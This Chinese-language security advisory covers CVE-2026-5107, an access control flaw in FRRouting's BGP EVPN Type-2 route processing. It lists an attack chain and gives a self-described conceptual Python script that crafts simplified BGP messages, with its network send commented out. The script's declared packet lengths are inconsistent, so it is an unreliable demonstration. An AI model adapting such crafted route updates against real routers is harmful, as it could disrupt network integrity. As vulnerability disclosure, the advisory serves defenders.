IPBUF安全漏洞报告
English
CVE-2026-5107 CVSS 4.2 中危

CVE-2026-5107 FRRouting EVPN访问控制不当漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-5107
漏洞类型
访问控制不当
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FRRouting FRR

相关标签

访问控制不当FRRoutingBGPEVPN中危

漏洞概述

FRRouting FRR 10.5.1及之前版本中存在安全漏洞。该漏洞源于bgpd/bgp_evpn.c文件中process_type2_route函数对EVPN Type-2路由的处理逻辑存在缺陷,导致访问控制不当。攻击者可利用此漏洞远程发起攻击,尽管利用难度较高,但成功利用可能影响系统完整性和可用性。

技术细节

该漏洞位于FRRouting的BGP EVPN模块,具体涉及Type-2路由处理函数。当系统处理特定的EVPN Type-2路由消息时,由于缺乏严格的权限校验逻辑,攻击者可以通过构建恶意的BGP更新包绕过访问限制。根据CVSS向量分析,攻击需要网络邻接关系(AV:N)和低权限(PR:L),但攻击复杂度较高(AC:H)。漏洞根源在于未对路由属性进行充分的安全检查,导致未授权的操作被执行。官方已在commit 7676cad65114aa23adde583d91d9d29e2debd045中修复了此问题。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找运行FRRouting且版本在10.5.1及以下的BGP对等体。
STEP 2
建立连接
与目标路由器建立BGP会话,这通常需要低级别的认证或配置权限。
STEP 3
发送恶意数据包
向目标发送特制的EVPN Type-2路由更新消息,该消息旨在绕过process_type2_route函数的访问控制检查。
STEP 4
触发漏洞
目标路由器处理该恶意路由时,由于逻辑缺陷执行了未授权的操作,导致完整性或可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-5107: FRRouting EVPN Type-2 Route Improper Access Control # This script simulates sending a crafted BGP EVPN Type-2 route update. # Note: Actual exploitation requires a BGP session and specific network conditions. import socket import struct def build_bgp_open(): # Simplified BGP OPEN message return b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x1d\x01\x04\x00\x64\x00\xb4\x0c\x00\x00\x00\x00' def build_evpn_update(): # Simplified BGP UPDATE with EVPN NLRI (Type-2) # This is a conceptual representation, not a fully compliant packet. marker = b'\xff' * 16 length = struct.pack('!H', 50) # Placeholder length type_ = b'\x02' # UPDATE withdrawn_len = struct.pack('!H', 0) path_attr_len = struct.pack('!H', 0) # Simplified # EVPN Type-2 NLRI (MAC/IP Advertisement Route) # Format: [Type(1)][Length(1)][Route Distinguisher(8)][ESI(10)][ETag(4)][MAC(6)][IP(4 or 16)] nlri = b'\x02\x19' # Type 2, Length 25 (example) nlri += b'\x00' * 8 # RD (Route Distinguisher) nlri += b'\x00' * 10 # ESI (Ethernet Segment Identifier) nlri += b'\x00' * 4 # ETag nlri += b'\x00\x11\x22\x33\x44\x55' # MAC Address nlri += b'\xc0\xa8\x01\x01' # IP Address message = marker + length + type_ + withdrawn_len + path_attr_len + nlri # Update length length_corrected = struct.pack('!H', len(message)) return marker + length_corrected + type_ + withdrawn_len + path_attr_len + nlri # In a real scenario, connect to BGP port 179 # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect(('target_ip', 179)) # sock.send(build_bgp_open()) # sock.send(build_evpn_update()) print("[+] Crafted EVPN Type-2 Update generated (Conceptual PoC)") print("[+] Refer to patch 7676cad65114aa23adde583d91d9d29e2debd045 for details")

影响范围

FRRouting FRR <= 10.5.1

防御指南

临时缓解措施
建议立即限制BGP对等体的来源地址,仅允许可信的IP地址建立连接。同时,配置BGP路由过滤规则,拒绝异常的EVPN路由。在无法立即升级的情况下,应密切监控路由表的异常变化。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表